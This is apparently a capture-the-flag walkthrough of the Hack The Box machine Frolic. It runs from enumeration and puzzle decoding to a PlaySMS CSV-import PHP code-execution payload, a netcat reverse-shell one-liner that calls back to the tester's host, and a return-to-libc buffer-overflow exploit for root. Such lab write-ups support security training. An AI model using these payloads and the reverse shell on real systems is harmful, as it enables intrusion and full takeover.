Enumeration
Masscan + Nmap
1
2
3
4
$ masscan -p1-65535,U:1-65535 `IP` --rate=10000 -e tun0 | tee masscan.out
Discovered open port 1880/tcp on 10.10.10.111
Discovered open port 9999/tcp on 10.10.10.111
Discovered open port 139/tcp on 10.10.10.111
Parse those ports to nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ ports=$(cat masscan.out |awk '{ print $4 }' | sed 's/\/tcp//;s/\/udp//' | tr '\n' ',' | sed 's/,$//')
$ nmap -sVC --min-rate 1000 -p $ports `IP` -oN nmap-fullscan.out
# Nmap 7.91 scan initiated Thu Jul 15 18:57:12 2021 as: nmap -sVC --min-rate 1000 -p 1880,9999,139 -oN nmap-fullscan.out 10.10.10.111
Nmap scan report for 10.10.10.111
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h49m58s, deviation: 3h10m31s, median: 1s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2021-07-15T18:57:31+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-15T13:27:31
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 15 18:57:33 2021 -- 1 IP address (1 host up) scanned in 20.94 seconds
Port 9999 (HTTP)
Visiting http://10.10.10.111:9999/ gives
Thank you for using nginx. http://forlic.htb:1880 Adding frolic.htb to /etc/hosts.
Directory brute-forcing:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$ feroxbuster -u -u http://frolic.htb:9999/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -s 200,204,301,302,307,308
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ver: 2.2.1
───────────────────────────┬──────────────────────
Target Url │ http://frolic.htb:9999/
Threads │ 50
Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
Status Codes │ [200, 204, 301, 302, 307, 308]
Timeout (secs) │ 7
User-Agent │ feroxbuster/2.2.1
Config File │ /etc/feroxbuster/ferox-config.toml
Recursion Depth │ 4
New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301 7l 13w 194c http://frolic.htb:9999/test
301 7l 13w 194c http://frolic.htb:9999/backup
301 7l 13w 194c http://frolic.htb:9999/dev
200 28l 71w 637c http://frolic.htb:9999/
301 7l 13w 194c http://frolic.htb:9999/admin
200 1l 1w 5c http://frolic.htb:9999/dev/test
301 7l 13w 194c http://frolic.htb:9999/loop
200 1006l 5029w 0c http://frolic.htb:9999/test/
301 7l 13w 194c http://frolic.htb:9999/dev/backup
301 7l 13w 194c http://frolic.htb:9999/admin/js
200 3l 3w 0c http://frolic.htb:9999/backup/
301 7l 13w 194c http://frolic.htb:9999/backup/loop
301 7l 13w 194c http://frolic.htb:9999/backup/.backup
301 7l 13w 194c http://frolic.htb:9999/admin/css
200 25l 63w 634c http://frolic.htb:9999/admin/
200 3l 1w 0c http://frolic.htb:9999/dev/backup/
301 7l 13w 194c http://frolic.htb:9999/loop/loop
301 7l 13w 194c http://frolic.htb:9999/backup/loop/loop
301 7l 13w 194c http://frolic.htb:9999/loop/loop/loop
[#################>--] - 6m 1457768/1640262 49s found:19 errors:1025
[####################] - 2m 63087/63087 440/s http://frolic.htb:9999/loop/loop
[###################>] - 2m 60670/63087 460/s http://frolic.htb:9999/backup/loop/
[##################>-] - 2m 58610/63087 461/s http://frolic.htb:9999/backup/.backup/
[###############>----] - 1m 49114/63087 465/s http://frolic.htb:9999/backup/loop/loop
[###############>----] - 1m 48503/63087 465/s http://frolic.htb:9999/admin/css/
[#######>------------] - 50s 25057/63087 500/s http://frolic.htb:9999/loop/loop/
[####>---------------] - 26s 13537/63087 506/s http://frolic.htb:9999/loop/loop/loop
[#>------------------] - 7s 3599/63087 485/s http://frolic.htb:9999/backup/loop/loop/
Also there’s a looping directory :0
Directory | Data |
---|---|
/backup/user.txt | user - admin |
/backup/password.txt | password - imnothuman |
/admin/ | Login form - “c’mon i m hackable” |
/dev/backup/ | /playsms |
/test/ | phpinfo data |
/admin
admin:imnothuman
didn’t let us login. Also there’s a alert everytime we submit a wrong password that we’ve only 1-2 attempts left. Wondering how that’s working, I saw the source code:
1
<script src="js/login.js"></script>
Which contains:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;}}}
So the username and password is admin:superduperlooperpassword_lol
and there’s a attempt variable, which just reduces the value and sets document.getElementById(“username”).disabled to true.
After logging in, it redirects to success.html having:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.
This seems like ook! language. I used a decoder here and it decoded to
“Nothing here check /asdiSIAJJ0QWE9JAS”
Visiting /asdiSIAJJ0QWE9JAS/ gives:
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA
This seems like base64 data, decoding base64
1
$ echo 'UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA' | base64 -d > something
1
2
$ file something
something: Zip archive data, at least v2.0 to extract
Decoded data is a zip archive, but it has a password. Let’s try cracking it’s hash john:
1
2
3
4
5
6
7
8
9
10
11
$ zip2john something.zip > hash
ver 2.0 efh 5455 efh 7875 something.zip/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=176, decmplen=617, crc=145BFE23
$ john hash -w:/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password (something.zip/index.php)
1g 0:00:00:00 DONE (2021-07-15 19:47) 7.142g/s 29257p/s 29257c/s 29257C/s booboo..horse
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Zip inflated with the password: password
1
2
3
4
$ unzip something.zip
Archive: something.zip
[something.zip] index.php password:
inflating: index.php
It contains something like a hex data, let’s decode that:
1
2
3
4
5
6
7
$ cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
$ cat index.php | xxd -r -p
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
Seems like a base64 encoded data:
1
2
3
4
5
$ cat index.php | xxd -r -p | base64 -di
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<
This seems like a brainfuck code, I decoded it from here After decoding I get idkwhatispass
, But what is it for?
/playsms
Visiting /dev/backup/ showed me /playsms, accessing http://frolic.htb:9999/playsms/ gives me another login form. Trying admin:idkwhatispass
works for playsms login.
Home page says:
Go to main configuration or manage site to edit this page.
Main configuration
Settings -> Main configuration -> Information page
We’ve a page edit option which has insert/edit link option to upload images. I tried uploading a php reverse shell as image, which uploaded, but gave 304 to my webserver. Also the one giving those 304 was my IP.
playsms.log
This log mentions me, logging in, validating as admin. But then mentions something about possible CSRF attack.
10.10.14.23 frolic.htb:9999 2021-07-15 19:29:49 PID60f03f55befbb - L2 auth_validate_login # invalid login u:admin uid:1 ip:10.10.14.23
10.10.14.23 frolic.htb:9999 2021-07-15 19:55:26 PID60f0455686061 - L2 auth_validate_login # valid login u:admin uid:1 ip:10.10.14.23
10.10.14.23 frolic.htb:9999 2021-07-15 19:55:26 PID60f0455686061 - L2 login # u:admin uid:1 status:2 sid:10vohcpmigmj4n1rned9hba6t4 ip:10.10.14.23
10.10.14.23 frolic.htb:9999 PID60f047a77eb2e - L2 init # WARNING: possible CSRF attack. sid:10vohcpmigmj4n1rned9hba6t4 ip:10.10.14.23
10.10.14.23 frolic.htb:9999 2021-07-15 20:05:19 PID60f047a7a36ba admin L2 auth_block # WARNING: no access or blocked. sid:10vohcpmigmj4n1rned9hba6t4 ip:10.10.14.23 uid:1 app:main inc:core_auth op:block route:block
Send from file + Import in phonebook
My Account -> Send from file and My Account -> Phonebook -> Import
Mentions uploading of a .csv file. Running searchsploit: PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution
clicks. We’re authenticated and have a csv file upload. And the code mentions how it tries CSRF attack:
1
2
3
4
90 # Grabbing CSRF token from body
91 /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
92 fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
93 vprint_good("X-CSRF-Token for login : #{csrf}")
Also there’s a similar exploit below:PlaySMS 1.4 - 'import.php' Remote Code Execution
which is also based on import.php Reading the exploitation explains it’s the same. Uses csv file upload functionality to exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Code Execution using import.php
We know import.php accept file and just read content
not stored in server. But when we stored payload in our backdoor.csv
and upload to phonebook. Its execute our payload and show on next page in field (in NAME,MOBILE,Email,Group COde,Tags) accordingly .
In My case i stored my vulnerable code in my backdoor.csv files's Name field .
But There is one problem in execution. Its only execute in built function and variable which is used in application.
That why the server not execute our payload directly. Now i Use "<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>" in name field and change our user agent to any command which u want
to execute command. Bcz it not execute <?php system("id")?> directly .
Example of my backdoor.csv file content
----------------------MY FILE CONTENT------------------------------------
Name Mobile Email Group code Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>
Foothold
Shell as www-data
- Made a csv file with this content:
1 2
Name,Mobile,Email,Group,code,Tags <?php $t=$_SERVER['HTTP_USER_AGENT'];system($t);?>,22,,,,
- Go to Account -> Phonebook -> Import
- Intercept the request of upload, change User-Agent value to
id
- Send the request to see this output
If you change the User-Agent to rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.23 4444 >/tmp/f
: Shell received:
1
2
3
4
5
6
rlwrap nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.111 34956
bash: cannot set terminal process group (1213): Inappropriate ioctl for device
bash: no job control in this shell
www-data@frolic:~/html/playsms$
And www-data can read user flag:
1
2
www-data@frolic:/home$ cat ./ayush/user.txt
2ab95909cf509f85a6f476b59a0c2fe0
Privesc
1
2
3
4
5
6
7
8
9
10
www-data@frolic:/home/ayush/.binary$ find / -perm -4000 -type f 2>/dev/null
/sbin/mount.cifs
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/bin/umount
/bin/su
/bin/ntfs-3g
/home/ayush/.binary/rop
Checking functionality of rop, shows we can pass any message. It also tries to copy the input we passed with strcpy, which is vulnerable.
1
2
3
4
5
6
$ /home/ayush/.binary/rop
[*] Usage: program <message>
$ strings /home/ayush/.binary/rop | grep strcpy
strcpy
strcpy@@GLIBC_2.0
Checking for ASLR gives 0 which means everything is static.
$ cat /proc/sys/kernel/randomize_va_space
0
I pulled the binary to my box as frolic didn’t have gdb installed.
ROP (Return-Oriented Programming)
Open rop
in gdb with PEDA, and run checksec:
1
2
3
4
5
6
7
8
9
$ gdb -q ./rop
Reading symbols from ./rop...
(No debugging symbols found in ./rop)
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
So, DEP(NX) is enabled, which means stack is Non-Executable or I can’t run shellcode from the stack, which is where I can write. Easiest attack I can do is Return-to-libc. Return-to-libc attack is part of a concept called Return-Oriented Programming which basically utilizes code that is already present in the program.
Note: Writeup to understand in depth, how stack works? or what’s Return-to-libc: October-Beyond-Root
Return-to-libc
Finding offset
1
2
3
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
200 chars crashes the program and gives segmentation-fault:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
Starting program: /root/HTB/Frolic/privesc/rop 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xdd
EBX: 0xffffd0e0 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
ECX: 0x0
EDX: 0xc3
ESI: 0xf7fa1000 --> 0x1e4d6c
EDI: 0xf7fa1000 --> 0x1e4d6c
EBP: 0x31414162 ('bAA1')
ESP: 0xffffd0b0 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41474141 ('AAGA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41474141
[------------------------------------stack-------------------------------------]
0000| 0xffffd0b0 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd0b4 ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd0b8 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd0bc ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd0c0 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd0c4 ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd0c8 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd0cc ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41474141 in ?? ()
Passing the value at EIP to pattern search:
1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ pattern search 'AAGA'
Registers contain pattern buffer:
EBP+0 found at offset: 48
EIP+0 found at offset: 52
Registers point to pattern buffer:
[EBX] --> offset 104 - size ~96
[ESP] --> offset 56 - size ~144
Pattern buffer found at:
0x0804b1cc : offset 5 - size 195 ([heap])
0xffffd078 : offset 0 - size 200 ($sp + -0x38 [-14 dwords])
0xffffd33e : offset 0 - size 200 ($sp + 0x28e [163 dwords])
EIP+0 found at offset 52.
Confirming the offset
Generating a Junk of 52 A’s and 4 B’s to reflect at EIP.
1
2
$ python3 -c 'print("A" * 52 + "BBBB")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
and it does reflects at EIP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'
Starting program: /root/HTB/Frolic/privesc/rop 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0xffffd170 --> 0x2
ECX: 0x0
EDX: 0x0
ESI: 0xf7fa1000 --> 0x1e4d6c
EDI: 0xf7fa1000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd140 --> 0xffffd300 --> 0x10
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd140 --> 0xffffd300 --> 0x10
0004| 0xffffd144 --> 0xffffd214 --> 0xffffd3b1 ("/root/HTB/Frolic/privesc/rop")
0008| 0xffffd148 --> 0xffffd220 --> 0xffffd407 ("SHELL=/bin/bash")
0012| 0xffffd14c --> 0x8048561 (<__libc_csu_init+33>: lea eax,[ebx-0xf8])
0016| 0xffffd150 --> 0xffffd170 --> 0x2
0020| 0xffffd154 --> 0x0
0024| 0xffffd158 --> 0x0
0028| 0xffffd15c --> 0xf7ddae46 (<__libc_start_main+262>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Confirmed offset of 52
.
Getting Addresses
Return-to-libc attack requires addresses of system, exit (Return address) and /bin/sh. We’ll take addresses from the libc shared library present on frolic.
- Finding address of libc with
ldd
:1 2
www-data@frolic:/home/ayush/.binary$ ldd ./rop | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
- Getting offsets for system, exit and /bin/sh with
readelf
:1 2 3
www-data@frolic$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e 'system@@' -e 'exit@@' 141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0 1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
1 2
www-data@frolic$ strings -at x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh' 15ba0b /bin/sh
and for this libc base the final addresses are:
1 2 3 4 5 6 7 8 9
exit address = libc address + exit offset in libc = 0xb7e19000 + 0x0002e9d0 = 0xb7e479d0 system address = libc address + system offset in libc = 0xb7e19000 + 0x0003ada0 = 0xb7e53da0 /bin/sh address = libc address + /bin/sh offset in libc = 0xb7e19000 + 0x15ba0b = 0xb7f74a0b
You can calculate the final address like this:
1 2
$ python3 -c 'print(hex(0xb7e19000 + 0x15ba0b))' 0xb7f74a0b
Buffer overflow goes: JUNK + SYSTEM (overwrite ret address) + EXIT (add next return address) + “/bin/sh” (arguments). That junk can be just NOPS (No operations ~
\x90
)Exploit
Since ASLR isn’t enabled, we can do:
1 2 3 4 5 6
www-data@frolic:/$ /home/ayush/.binary/rop $(python -c 'print "\x90"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7"'); whoami root cd /root cat root.txt 85d3fdf03f969892538ba9a731826222